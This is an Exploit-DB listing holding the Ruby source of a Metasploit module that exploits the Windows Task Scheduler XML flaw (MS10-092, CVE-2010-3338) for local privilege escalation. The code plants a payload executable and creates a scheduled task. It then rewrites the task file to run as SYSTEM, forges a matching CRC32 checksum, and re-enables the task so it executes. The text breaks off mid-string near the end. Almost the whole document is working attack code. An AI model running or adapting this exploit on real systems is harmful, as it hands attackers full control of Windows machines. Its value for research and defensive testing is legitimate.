Exploit-DB #19930
Description: Microsoft Windows - Task Scheduler '.XML' Local Privilege Escalation (MS10-092) (Metasploit)
Type: local
Platform: windows
Date: 2012-07-19
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/post/common'
require 'rex'
require 'zlib'


class Metasploit3 < Msf::Exploit::Local

	include Msf::Exploit::EXE
	include Msf::Post::Common
	include Msf::Post::File

	def initialize(info={})
		super(update_info(info, {
			'Name'          => 'Windows Escalate Task Scheduler XML Privilege Escalation',
			'Description'   => %q{
					This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
				When processing task files, the Windows Task Scheduler only uses a CRC32
				checksum to validate that the file has not been tampered with. Also, In a default
				configuration, normal users can read and write the task files that they have
				created. By modifying the task file and creating a CRC32 collision, an attacker
				can execute arbitrary commands with SYSTEM privileges.

				NOTE: Thanks to webDEViL for the information about disable/enable.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'jduck' ],
			'Version'       => '$Revision$',
			'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'Targets'       =>
				[
					[ 'Windows Vista, 7, and 2008', {} ],
				],
			'References'    =>
				[
					[ 'OSVDB', '68518' ],
					[ 'CVE', '2010-3338' ],
					[ 'BID', '44357' ],
					[ 'MSB', 'MS10-092' ],
					[ 'EDB', 15589 ]
				],
			'DisclosureDate'=> 'Sep 13 2010',
			'DefaultTarget' => 0
		}))

		register_options([
			OptString.new("CMD",      [ false, "Command to execute instead of a payload" ]),
			OptString.new("TASKNAME", [ false, "A name for the created task (default random)" ]),
		])

	end

	def check
		vuln = false
		winver = sysinfo["OS"]
		affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
		affected.each { |v|
			if winver.include? v
				vuln = true
				break
			end
		}
		if not vuln
			return Exploit::CheckCode::Safe
		end

		return Exploit::CheckCode::Appears
	end

	def exploit
		if sysinfo["Architecture"] =~ /wow64/i
			#
			# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
			# worse, meterpreter/railgun creates things in a new thread, making it much more
			# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
			# offer a workaround and error out.
			#
			print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
			return
		end

		if check == Exploit::CheckCode::Safe
			print_error("#{winver} is not vulnerable.")
			return
		end

		taskname = datastore["TASKNAME"] || nil
		cmd = datastore["CMD"] || nil
		upload_fn = nil

		tempdir = session.fs.file.expand_path("%TEMP%")
		if not cmd
			# Get the exe payload.
			exe = generate_payload_exe
			#and placing it on the target in %TEMP%
			tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
			cmd = tempdir + "\\" + tempexename + ".exe"

			print_status("Preparing payload at #{cmd}")
			write_file(cmd, exe)
		else
			print_status("Using command: #{cmd}")
		end

		#
		# Create a new task to do our bidding, but make sure it doesn't run.
		#
		taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
		sysdir = session.fs.file.expand_path("%SystemRoot%")
		taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"

		print_status("Creating task: #{taskname}")
		cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
#		print_debug("Will Execute:\n\t#{cmdline}")
		exec_schtasks(cmdline, "create the task")

		#
		# Read the contents of the newly creates task file
		#
		content = read_task_file(taskname, taskfile)

		#
		# Double-check that we got what we expect.
		#
		if content[0,2] != "\xff\xfe"
			#
			# Convert to unicode, since it isn't already
			#
			content = content.unpack('C*').pack('v*')
		else
			#
			# NOTE: we strip the BOM here to exclude it from the crc32 calculation
			#
			content = content[2,content.length]
		end


		#
		# Record the crc32 for later calculations
		#
		old_crc32 = crc32(content)
		print_status("Original CRC32: 0x%x" % old_crc32)

		#
		# Convert the file contents from unicode
		#
		content = content.unpack('v*').pack('C*')

		#
		# Mangle the contents to now run with SYSTEM privileges
		#
		content.gsub!('LeastPrivilege', 'HighestAvailable')
		content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
		content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
		#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
		content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
		content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
		content << "<!-- ZZ -->"

		#
		# Convert it back to unicode
		#
		content = Rex::Text.to_unicode(content)

		#
		# Fix it so the CRC matches again
		#
		fix_crc32(content, old_crc32)
		new_crc32 = crc32(content)
		print_status("Final CRC32: 0x%x" % new_crc32)

		#
		# Write the new content back
		#
		print_status("Writing our modified content back...")
		fd = session.fs.file.new(taskfile, "wb")
		fd.write "\xff\xfe" + content
		fd.close

		#
		# Validate our results
		#
		print_status("Validating task: #{taskname}")
		exec_schtasks("schtasks.exe /query /tn #{taskname}", "validate the task")

		#
		# Run the task :-)
		#
		print_status("Disabling the task...")
		exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")

		print_status("Enabling the task...")
		exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")

		print_status("Executing the